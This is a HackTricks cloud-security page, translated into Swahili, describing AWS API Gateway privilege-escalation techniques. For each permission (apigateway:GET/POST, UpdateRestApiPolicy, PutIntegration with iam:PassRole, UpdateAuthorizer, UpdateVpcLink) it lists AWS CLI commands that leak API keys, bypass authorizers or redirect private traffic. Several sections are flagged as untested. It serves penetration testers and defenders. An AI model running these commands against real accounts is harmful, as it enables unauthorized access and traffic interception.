AWS - Apigateway Privesc

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Apigateway

Kwa maelezo zaidi angalia:

AWS - API Gateway Enum

apigateway:POST

Kwa ruhusa hii unaweza kutengeneza API keys za APIs zilizowekwa (kwa kila eneo).

bash
aws --region <region> apigateway create-api-key

Potential Impact: Huwezi kufanya privesc kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.

apigateway:GET

Kwa ruhusa hii unaweza kupata API keys zilizotengenezwa za APIs zilizosanidiwa (kwa kila kanda).

bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Athari Inayoweza Kutokea: Huwezi kufanya privesc kwa mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipa ufikiaji wa kuitisha API na kutumia vibaya ufikiaji unaoweza kuwepo kwenye API gateway (kama kuitisha lambda yenye udhaifu).

bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Athari Inayowezekana: Kwa kawaida, huwezi kufanya privesc moja kwa moja kwa mbinu hii, lakini unaweza kupata taarifa nyeti.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

note

Inahitaji kujaribiwa

Mshambuliaji mwenye ruhusa apigateway:PutIntegration, apigateway:CreateDeployment, na iam:PassRole anaweza kuongeza muunganisho mpya kwenye API Gateway REST API iliyopo kwa kutumia Lambda function ambayo imeambatishwa na IAM role. Mshambuliaji anaweza kisha kuamsha Lambda function ili kutekeleza msimbo wowote na kwa hivyo kupata ufikiaji wa rasilimali zinazohusiana na IAM role.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayoweza Kutokea: Ufikiaji wa rasilimali zinazohusiana na Lambda function's IAM role.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

note

Inahitaji kujaribiwa

Mshambuliaji mwenye ruhusa apigateway:UpdateAuthorizer na apigateway:CreateDeployment anaweza kubadilisha API Gateway authorizer iliyopo ili kupita ukaguzi wa usalama au kutekeleza arbitrary code wakati maombi ya API yanapofanywa.

bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayowezekana: Kuzunguka ukaguzi wa usalama, upatikanaji usioidhinishwa wa rasilimali za API.

note

Inahitaji kujaribiwa

Mshambuliaji mwenye ruhusa apigateway:UpdateVpcLink anaweza kubadilisha VPC Link iliyopo ili kuielekeza kwenye Network Load Balancer tofauti, kwa hivyo uwezekano wa kupeleka trafiki ya API ya faragha kwenda kwa rasilimali zisizoidhinishwa au zenye madhara.

bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Athari Inayowezekana: Ufikaji usioidhinishwa kwa rasilimali za API binafsi, kukamata au kuingilia kati au kuharibu trafiki ya API.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks